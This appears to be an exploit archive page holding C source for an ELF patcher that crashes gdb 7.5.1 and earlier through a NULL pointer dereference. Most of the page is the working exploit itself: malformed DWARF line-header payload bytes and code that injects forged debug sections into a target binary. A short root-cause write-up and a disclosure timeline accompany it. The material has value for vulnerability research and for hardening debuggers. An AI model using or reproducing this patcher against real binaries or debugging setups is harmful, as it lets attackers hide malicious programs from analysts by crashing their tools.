exploit the possibilities

GNU Debugger 7.5.1 NULL Pointer Dereference

GNU Debugger 7.5.1 NULL Pointer Dereference
Posted Dec 20, 2012
Authored by nitr0us

gdb (GNU debugger) versions 7.5.1 and below ELF anti-debugging / reversing patcher that causes a NULL pointer dereference to trigger.

tags | exploit
MD5 | 0ad84bba981e241b6325590e3b428267

GNU Debugger 7.5.1 NULL Pointer Dereference

Change Mirror Download
/*
*
* gdb (GNU debugger) <= 7.5.1 (crash due a NULL pointer dereference)
* ELF anti-debugging/reversing patcher
*
* Published @ IOActive Labs Research blog:
* http://blog.ioactive.com/2012/12/striking-back-gdb-and-ida-debuggers.html
*
* - nitr0us [ http://twitter.com/nitr0usmx ]
*
* Tested under:
* GNU gdb 7.5.1 (OpenBSD 5.2 i386 [Compiled from sources])
* GNU gdb 7.5 (OpenBSD 5.2 i386 [Compiled from sources])
* GNU gdb 7.5 (Ubuntu Server 12.04 [Compiled from sources])
* GNU gdb 7.4.1 (OpenBSD 5.2 i386)
* GNU gdb 7.4-2012.04 (Ubuntu Server 12.04)
* GNU gdb 7.2-50.el6 (CentOS Linux)
* GNU gdb 6.7.1 (Gentoo Linux)
*
* Bug found using Frixyon fuzzer (my ELF file format fuzzer still in development)
*
* Timeline:
* 12/11/2012 The bug was found on GNU gdb 7.5
* 19/11/2012 The bug was reported through the official GNU gdb.s bug tracker:
http://sourceware.org/bugzilla/show_bug.cgi?id=14855
* 10/12/2012 Retested with the latest release (7.5.1), which still has the bug
* 12/12/2012 The status on the tracker is still "NEW"
*
**************** TECHNICAL DETAILS ***********************
In gdb-7.5.1/gdb/dwarf2read.c is the following data structure:
struct line_header
{
...
unsigned int num_include_dirs, include_dirs_size;
char **include_dirs;
...
struct file_entry
{
char *name;
unsigned int dir_index;
unsigned int mod_time;
unsigned int length;
...
} *file_names;
}

The problem exists when trying to open a malformed ELF that contains a
file_entry.dir_index > 0 and char **include_dirs pointing to NULL.

After patching an ELF file with this code, the following happens:

(gdb) r -q ./evil_exploit

Program received signal SIGSEGV, Segmentation fault.
0x081e87bd in psymtab_include_file_name (lh=0x8594420, file_index=0,
pst=0x8583650, comp_dir=0x858362c "/home/nitr0us") at dwarf2read.c:13969
13970 dir_name = lh->include_dirs[fe.dir_index - 1];
(gdb) p/x fe
$1 = {name = 0x8583718, dir_index = 0xf, mod_time = 0x0, length = 0x0,
included_p = 0x1, symtab = 0x0}
(gdb) p lh->include_dirs
$2 = (char **) 0x0
(gdb) x/i $eip
=> 0x81e87bd <psymtab_include_file_name+111>: mov (%eax),%eax
(gdb) i r $eax
eax 0x38 56

The root cause of the problem is that there's no validation to
verify if include_dirs is different from NULL before referencing it.

**********************************************************
*
* [Compilation] $ gcc gdb_751_elf_shield.c -o gdb_751_elf_shield -Wall
*
* Sh0utz: IOActive fellows, CRAc, b33rc0n crew (dex, hkm, calderpwn,
* Carlos Ayala, Daemon, LightOS) chr1x, alt3kx, tr3w, crypkey,
* el_chito, nahual, beck, sirdarkcat, NataS, ran, Fede Bossi,
* nediam, psymera, Rolman, Kbrown, Bucio, p4dm3, Hector Lopez, zeus,
* Matias Brutti, sunl3vy, Raaka_elgaupo, vendetta, raito, beavis,
* el5patas, vi0let.
*
*
* http://chatsubo-labs.blogspot.com
* http://www.brainoverflow.org
*
*/

#include <sys/mman.h>
#include <sys/stat.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>

#if defined(__OpenBSD__) || defined(__NetBSD__) || defined(__FreeBSD__)
#include <sys/exec_elf.h>
#else
#include <elf.h>
#endif

/*
* The next payload is based on the 'struct line_header'
* defined in gdb-7.5.1/gdb/dwarf2read.c
*
* The fields are put in little-endian (LSB)
*/
const char dwarf_line_header[] = {
0x32, 0x00, 0x00, 0x00, // unsigned int total_length;
0x02, 0x00, // unsigned short version;
0x1c, 0x00, 0x00, 0x00, // unsigned int header_length;
0x01, // unsigned char minimum_instruction_length;
0x01, // unsigned char maximum_ops_per_instruction;
0xfb, // int line_base; in runtime = 0xfffffffb, however, in file system it's only one byte o_O?
0x0e, // unsigned char line_range;
0x0d, // unsigned char opcode_base;
'N' , '1' , '7' , 'R' , '0' , // Useless to trigger the bug
0xDE, 0xAD, 0xBA, 0xBE, // Useless to trigger the bug
0x31, 0x33, 0x70, // Useless to trigger the bug
0x00, // (KILLER BYTE) char **include_dirs; This will expand to a NULL pointer 0x00000000
'C' , 'R' , '4' , '5' , 'H' , 0x00, // file_entry->name
0x31, // (KILLER BYTE) file_entry->dir_index; dwarf_line_header->include_dirs[file_entry.dir_index - 1]; SIGSEGV !
0x33, // file_entry->mod_time;
0x70, // file_entry->length;
0x00, 0x00, 0x05, 0x02, // Couldn't detect where exactly are loaded in memory at runtime
0xd4, 0x83, 0x04, 0x08, // . . .
0x15, 0x91, 0xbc, 0x59, // . . .
0x02, 0x02, 0x00, 0x01, // . . .
0x01, // Couldn't detect where exactly are loaded in memory at runtime
};

/*
* The next ELF sections are necessary to crash gdb.
* They were taken from a normal ELF file compiled with -ggdb
* $objdump -s -j .debug_xxx ./a.out
*/
char debug_info[] = {
0x87, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x01, 0x3b, 0x00, 0x00, 0x00,
0x01, 0x00, 0x00, 0x00, 0x00, 0x55, 0x00, 0x00, 0x00, 0xd4, 0x83, 0x04, 0x08, 0xf0, 0x83, 0x04,
0x08, 0x00, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x2e, 0x00, 0x00, 0x00, 0x02, 0x01, 0x08, 0x47,
0x00, 0x00, 0x00, 0x02, 0x02, 0x07, 0x07, 0x00, 0x00, 0x00, 0x02, 0x04, 0x07, 0x29, 0x00, 0x00,
0x00, 0x02, 0x01, 0x06, 0x49, 0x00, 0x00, 0x00, 0x02, 0x02, 0x05, 0x1a, 0x00, 0x00, 0x00, 0x03,
0x04, 0x05, 0x69, 0x6e, 0x74, 0x00, 0x02, 0x08, 0x05, 0x68, 0x00, 0x00, 0x00, 0x02, 0x08, 0x07,
0x24, 0x00, 0x00, 0x00, 0x02, 0x04, 0x05, 0x6d, 0x00, 0x00, 0x00, 0x02, 0x01, 0x06, 0x50, 0x00,
0x00, 0x00, 0x04, 0x01, 0x63, 0x00, 0x00, 0x00, 0x01, 0x03, 0x4f, 0x00, 0x00, 0x00, 0xd4, 0x83,
0x04, 0x08, 0xf0, 0x83, 0x04, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00
};

char debug_abbrev[] = {
0x01, 0x11, 0x01, 0x25, 0x0e, 0x13, 0x0b, 0x03, 0x0e, 0x1b, 0x0e, 0x11, 0x01, 0x12, 0x01, 0x10,
0x06, 0x00, 0x00, 0x02, 0x24, 0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x0e, 0x00, 0x00, 0x03, 0x24,
0x00, 0x0b, 0x0b, 0x3e, 0x0b, 0x03, 0x08, 0x00, 0x00, 0x04, 0x2e, 0x00, 0x3f, 0x0c, 0x03, 0x0e,
0x3a, 0x0b, 0x3b, 0x0b, 0x49, 0x13, 0x11, 0x01, 0x12, 0x01, 0x40, 0x06, 0x00, 0x00, 0x00
};

char debug_str[] = {
0x65, 0x76, 0x69, 0x6c, 0x2e, 0x63, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20, 0x75, 0x6e, 0x73,
0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x73, 0x68, 0x6f, 0x72, 0x74, 0x20,
0x69, 0x6e, 0x74, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x75, 0x6e,
0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20, 0x69, 0x6e, 0x74, 0x00, 0x47, 0x4e, 0x55, 0x20, 0x43,
0x20, 0x34, 0x2e, 0x36, 0x2e, 0x33, 0x00, 0x75, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x65, 0x64, 0x20,
0x63, 0x68, 0x61, 0x72, 0x00, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x6e, 0x69, 0x74, 0x72, 0x30,
0x75, 0x73, 0x00, 0x6d, 0x61, 0x69, 0x6e, 0x00, 0x6c, 0x6f, 0x6e, 0x67, 0x20, 0x6c, 0x6f, 0x6e,
0x67, 0x20, 0x69, 0x6e, 0x74, 0x00
};

/* Global vars & structs that'll used later */
Elf32_Ehdr *header;
Elf32_Shdr *sht; // Section Header Table
Elf32_Phdr *pht; // Program Header Table
Elf32_Shdr *shstrtab_section;
Elf32_Word s_debug_line_size = 0;
Elf32_Word shstrtab_size = 0;
Elf32_Off shstrtab_offset = 0;
Elf32_Off debug_line_offset = 0;
struct stat statinfo; // We'll use only st_size and st_mode
char *elfptr;
int fd, tmpfd, k;

int isELF(int);

Elf32_Off findDebugLineSection()
{
for(k = 0; k < header->e_shnum; k++, sht++)
if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".debug_line") == 0){
s_debug_line_size = sht->sh_size;

return sht->sh_offset;
}

return 0;
}

/*
* This function will add the section '.debug_line'
* with the payload inside. Also, it's necessary to
* update some ELF metadata as well as to include some
* extra Elf32_Shdr structures in the middle of the file.
*
* I solved this problem doing the following steps:
*
* 1.- Patch the .shstrtab (and .strtab) sections size, so
* the names (strings at the end of the file) of the new appended
* sections will be inside that sections (gdb checks for the offsets).
*
* 2.- Create 4 new Elf32_Shdr structures (.debug_line, .debug_info,
* .debug_abbrev and .debug_str) which are necessary to crash gdb:
* ->sh_name is a relative offset to shstrtab_section->sh_offset
* So, it'll be pointing to statinfo.st_size - shstrtab_section->sh_offset
* (it means that at the end of the file there will be the
* string '.debug_line' (null terminated)). The same calculations for the
* other 3 new sections added.
* ->sh_offset is the absolute offset in file system, so it'll be
* pointing to the end of the file.
* ->sh_size will be obviously sizeof() each section content (payloads)
*
* 3.- Calculate the insertion point (offset in file system):
* header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr)
*
* 4.- Four Elf32_Shdr structured will be appended at the end of the
* Section Header Table, so it means that for each program header
* who's segment is after the insertion, its offset in file system has to
* be updated to reflect the new position after insertion:
* pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;
* Also update the header->e_phoff (in case it's after the injection point).
*
* 5.- Update the ELF header to account for 4 extra section headers:
* ->header->e_shnum += n_sections_to_inject;
*
* 6.- Synchronize the ELF in file system with its corresponding
* pointer in memory to reflect the previous changes (msync()).
* Also close the file descriptor.
*
* 7.- Physically insert the Elf32_Shdr structures at the end
* of the Section Header Table (insertion point calculated in the step 3).
* After that, copy the rest of the file.

* 8.- Insert the names of the new sections (strings '.debug_line', '.debug_info',
* '.debug_abbrev' and '.debug_str') followed by its corresponding null byte.
*
* 9.- Finally, insert the payloads (dwarf_line_header[], debug_info[], debug_str[]
* and debug_abbrev[])
*
*/
int addDebugLineSection()
{
unsigned int n_sections_to_inject = 4; // .debug_line (bogus data), .debug_info, .debug_abbrev and .debug_str
unsigned int n_sections_names_len = strlen(".debug_str") + 1
+ strlen(".debug_info") + 1
+ strlen(".debug_line") + 1
+ strlen(".debug_abbrev") + 1;

// Step 1
shstrtab_section->sh_size = statinfo.st_size - shstrtab_offset + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len;
printf("[+] Patching the size of \".shstrtab\" section to 0x%.4x\n", shstrtab_section->sh_size);

sht = (Elf32_Shdr *) (elfptr + header->e_shoff);
for(k = 0; k < header->e_shnum; k++, sht++)
if(strcmp(elfptr + shstrtab_offset + sht->sh_name, ".strtab") == 0){
sht->sh_size = shstrtab_section->sh_size;
printf("[+] Patching the size of \".strtab\" section to 0x%.4x as well (gdb also check this size)\n\n", sht->sh_size);
break;
}

// Step 2
Elf32_Shdr debug_line_sechdr, debug_info_sechdr, debug_abbrev_sechdr, debug_str_sechdr;

debug_line_sechdr.sh_type = debug_info_sechdr.sh_type = debug_abbrev_sechdr.sh_type = debug_str_sechdr.sh_type = 0x0001;
debug_line_sechdr.sh_flags = debug_info_sechdr.sh_flags = debug_abbrev_sechdr.sh_flags = 0x0000;
debug_str_sechdr.sh_flags = 0x0030;
debug_line_sechdr.sh_addr = debug_info_sechdr.sh_addr = debug_abbrev_sechdr.sh_addr = debug_str_sechdr.sh_addr = 0x00000000;
debug_line_sechdr.sh_link = debug_info_sechdr.sh_link = debug_abbrev_sechdr.sh_link = debug_str_sechdr.sh_link = 0x0000;
debug_line_sechdr.sh_info = debug_info_sechdr.sh_info = debug_abbrev_sechdr.sh_info = debug_str_sechdr.sh_info = 0x0000;
debug_line_sechdr.sh_addralign = debug_info_sechdr.sh_addralign = debug_abbrev_sechdr.sh_addralign = debug_str_sechdr.sh_addralign = 0x0001;
debug_line_sechdr.sh_entsize = debug_info_sechdr.sh_entsize = debug_abbrev_sechdr.sh_entsize = debug_str_sechdr.sh_entsize = 0x0000;

debug_line_sechdr.sh_size = sizeof(dwarf_line_header);
debug_info_sechdr.sh_size = sizeof(debug_info);
debug_str_sechdr.sh_size = sizeof(debug_str);
debug_abbrev_sechdr.sh_size = sizeof(debug_abbrev);

// Relative offsets to shstrtab_offset
debug_line_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset;
debug_info_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
+ strlen(".debug_line") + 1;
debug_str_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
+ strlen(".debug_line") + 1
+ strlen(".debug_info") + 1;
debug_abbrev_sechdr.sh_name = statinfo.st_size + sizeof(Elf32_Shdr)* n_sections_to_inject - shstrtab_offset
+ strlen(".debug_line") + 1
+ strlen(".debug_info") + 1
+ strlen(".debug_str") + 1;

// Absolute offsets at the end of the file
debug_line_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len;
debug_info_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
+ debug_line_sechdr.sh_size;
debug_str_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
+ debug_line_sechdr.sh_size
+ debug_info_sechdr.sh_size;
debug_abbrev_sechdr.sh_offset = statinfo.st_size + sizeof(Elf32_Shdr) * n_sections_to_inject + n_sections_names_len
+ debug_line_sechdr.sh_size
+ debug_info_sechdr.sh_size
+ debug_str_sechdr.sh_size;

// Step 3
Elf32_Off shdr_insertion_point = header->e_shoff + header->e_shnum * sizeof(Elf32_Shdr);

printf("[*] The insertion point will be at: 0x%.4x\n\n", shdr_insertion_point);

// Step 4
pht = (Elf32_Phdr *) (elfptr + header->e_phoff);

if(header->e_phoff >= shdr_insertion_point){
header->e_phoff += sizeof(Elf32_Shdr) * n_sections_to_inject;

printf("[+] The Program Header Table is after the insertion point. Fixing p_offset to 0x%.4x\n", header->e_phoff);
} else
printf("[-] The Program Header Table is before the insertion point.\n");


for(k = 0; k < header->e_phnum; k++, pht++)
if(pht->p_offset >= shdr_insertion_point){
pht->p_offset += sizeof(Elf32_Shdr) * n_sections_to_inject;

printf("[+] The Program Header[ %d ] is after the insertion point. Fixing p_offset to 0x%.4x\n", k, pht->p_offset);
}

// Step 5
header->e_shnum += n_sections_to_inject;

// Step 6
if(msync(elfptr, 0, MS_SYNC) == -1){
perror("msync");
return 0;
}

close(fd);

// Step 7
if((tmpfd = creat("modified_elf.tmp", statinfo.st_mode)) == -1){
perror("creat");
return 0;
}

if(write(tmpfd, elfptr, shdr_insertion_point) == -1)
return 0;

printf("\n[+] Injecting the '.debug_line' Elf32_Shdr struct at the end of the Section Header Table...\n");
if(write(tmpfd, &debug_line_sechdr, sizeof(Elf32_Shdr)) == -1)
return 0;

printf("[+] Injecting the '.debug_info' Elf32_Shdr struct at the end of the Section Header Table...\n");
if(write(tmpfd, &debug_info_sechdr, sizeof(Elf32_Shdr)) == -1)
return 0;

printf("[+] Injecting the '.debug_str' Elf32_Shdr struct at the end of the Section Header Table...\n");
if(write(tmpfd, &debug_str_sechdr, sizeof(Elf32_Shdr)) == -1)
return 0;

printf("[+] Injecting the '.debug_abbrev' Elf32_Shdr struct at the end of the Section Header Table...\n\n");
if(write(tmpfd, &debug_abbrev_sechdr, sizeof(Elf32_Shdr)) == -1)
return 0;

// Copy the rest of the original file
if(write(tmpfd, elfptr + shdr_insertion_point, statinfo.st_size - shdr_insertion_point) == -1)
return 0;


// Step 8
if(write(tmpfd, ".debug_line\0", strlen(".debug_line") + 1) == -1)
return 0;

if(write(tmpfd, ".debug_info\0", strlen(".debug_info") + 1) == -1)
return 0;

if(write(tmpfd, ".debug_str\0", strlen(".debug_str") + 1) == -1)
return 0;

if(write(tmpfd, ".debug_abbrev\0", strlen(".debug_abbrev") + 1) == -1)
return 0;

// Step 9
printf("[+] Injecting the malformed line header structure (payload) into the new created '.debug_line' section...\n");
if(write(tmpfd, dwarf_line_header, sizeof(dwarf_line_header)) == -1)
return 0;

printf("[+] Injecting the content of '.debug_info', '.debug_str' and '.debug_abbrev' sections...\n");
if(write(tmpfd, debug_info, sizeof(debug_info)) == -1)
return 0;

if(write(tmpfd, debug_str, sizeof(debug_str)) == -1)
return 0;

if(write(tmpfd, debug_abbrev, sizeof(debug_abbrev)) == -1)
return 0;

close(tmpfd);

return 1;
}

int main(int argc, char **argv)
{
printf("##################################################\n");
printf("# #\n");
printf("# gdb (GNU debugger) <= 7.5.1 #\n");
printf("# (crash due a NULL pointer dereference) #\n");
printf("# #\n");
printf("# ELF anti-debugging/reversing patcher #\n");
printf("# -nitr0us- #\n");
printf("# #\n");
printf("##################################################\n\n");

if(argc < 2){
fprintf(stderr, "Usage: %s <elf_file_to_patch>\n", argv[0]);
exit(-1);
}

if((fd = open(argv[1], O_RDWR)) == -1){
perror("open");
exit(-1);
}

if(!isELF(fd)){
close(fd);
exit(-1);
}

if(fstat(fd, &statinfo) == -1){
perror("stat");
close(fd);
exit(-1);
}

if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
perror("mmap");
close(fd);
exit(-1);
}

header = (Elf32_Ehdr *) (elfptr);

if(header->e_shoff == 0){
fprintf(stderr, "[!] \"%s\" doesn't have a Section Header Table !\n", argv[1]);
close(fd);
munmap(elfptr, 0);
exit(-1);
}

sht = (Elf32_Shdr *) (elfptr + header->e_shoff);

printf("[*] The ELF file originally has: %d (0x%.4x) bytes\n", (int) statinfo.st_size, (int) statinfo.st_size);
printf("[-] Ehdr->e_shnum: %5d (0x%.4x)\n", header->e_shnum, header->e_shnum);
printf("[-] Ehdr->e_shoff: %5d (0x%.4x)\n", header->e_shoff, header->e_shoff);
printf("[-] Ehdr->e_shstrndx: %5d (0x%.4x)\n", header->e_shstrndx, header->e_shstrndx);

// Find the Section Header corresponding to the
// "Section Header String Table" to get the file offset from there
shstrtab_section = (Elf32_Shdr *)(elfptr + header->e_shoff + header->e_shstrndx * sizeof(Elf32_Shdr));
if((shstrtab_size = shstrtab_section->sh_size) > 0)
if(!(shstrtab_offset = shstrtab_section->sh_offset)){
fprintf(stderr, "[!] shstrtab_section->sh_offset is 0 (cero) !\n");
close(fd);
munmap(elfptr, 0);
exit(-1);
}

printf("[-] shstrtab_offset: %5d (0x%.4x)\n", (int) shstrtab_offset, (int) shstrtab_offset);
printf("[-] shstrtab_size : %5d (0x%.4x)\n\n", (int) shstrtab_size, (int) shstrtab_size);

printf("[*] Looking for the '.debug_line' section...\n\n");

if(!(debug_line_offset = findDebugLineSection())){
printf("[-] '.debug_line' section was not found in the Section Header Table !\n");
printf("[*] Adding the '.debug_line' with the payload inside\n\n");

if(!addDebugLineSection()){
fprintf(stderr, "[!] The '.debug_line' section couldn't be added. Sorry !\n\n");
close(fd);
munmap(elfptr, 0);
exit(-1);
}

printf("[+] The '.debug_line' section was added successfully with the payload inside\n\n");

if(rename("modified_elf.tmp", argv[1]) == -1)
perror("rename");
} else {
printf("[+] '.debug_line' section was found at offset %5d (0x%.4x) within the file\n", (int) debug_line_offset, (int) debug_line_offset);
printf("[*] '.debug_line' size = %5d bytes\n", (int) s_debug_line_size);

if(s_debug_line_size < sizeof(dwarf_line_header)){
fprintf(stderr, "[!] '.debug_line' section is smaller than the payload to be injected (%d bytes)\n\n", (int) sizeof(dwarf_line_header));
exit(-1);
} else
printf("[*] '.debug_line' section has enough space for the payload (%d bytes)\n\n", (int) sizeof(dwarf_line_header));

printf("[*] Overwriting its content with the payload\n\n");

memcpy(elfptr + debug_line_offset, dwarf_line_header, sizeof(dwarf_line_header));
}

// Synchronize the ELF in file system with the previous memory mapped
if(msync(elfptr, 0, MS_SYNC) == -1){
perror("msync");
close(fd);
exit(-1);
}

close(fd);
munmap(elfptr, 0);

printf("[*] \"%s\" is now completely patched\n", argv[1]);
printf("[*] gdb (GNU debugger) <= 7.5.1 should crash trying to load \"%s\"\n", argv[1]);

return 0;
}

int isELF(int fd)
{
Elf32_Ehdr header;

if(read(fd, &header, sizeof(header)) == -1){
perror("isELF(): read");
return 0;
}

/* magic number verification */
if(header.e_ident[EI_MAG0] != ELFMAG0 ||
header.e_ident[EI_MAG1] != 'E' ||
header.e_ident[EI_MAG2] != 'L' ||
header.e_ident[EI_MAG3] != 'F'){
fprintf(stderr, "The argument given is not an ELF file !\n");
return 0;
}

/* 32-bit class verification */
if(header.e_ident[EI_CLASS] != ELFCLASS32){
fprintf(stderr, "Only 32-bit ELF files supported !\n");
return 0;
}

/* little-endian verification */
if(header.e_ident[EI_DATA] != ELFDATA2LSB){
fprintf(stderr, "Only little-endian ELF files supported !\n");
return 0;
}

return 1;
}

Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

File Archive:

June 2019

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    1 Files
  • 2
    Jun 2nd
    2 Files
  • 3
    Jun 3rd
    19 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    15 Files
  • 6
    Jun 6th
    12 Files
  • 7
    Jun 7th
    11 Files
  • 8
    Jun 8th
    1 Files
  • 9
    Jun 9th
    1 Files
  • 10
    Jun 10th
    15 Files
  • 11
    Jun 11th
    15 Files
  • 12
    Jun 12th
    15 Files
  • 13
    Jun 13th
    8 Files
  • 14
    Jun 14th
    16 Files
  • 15
    Jun 15th
    2 Files
  • 16
    Jun 16th
    1 Files
  • 17
    Jun 17th
    18 Files
  • 18
    Jun 18th
    16 Files
  • 19
    Jun 19th
    0 Files
  • 20
    Jun 20th
    0 Files
  • 21
    Jun 21st
    0 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    0 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2019 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close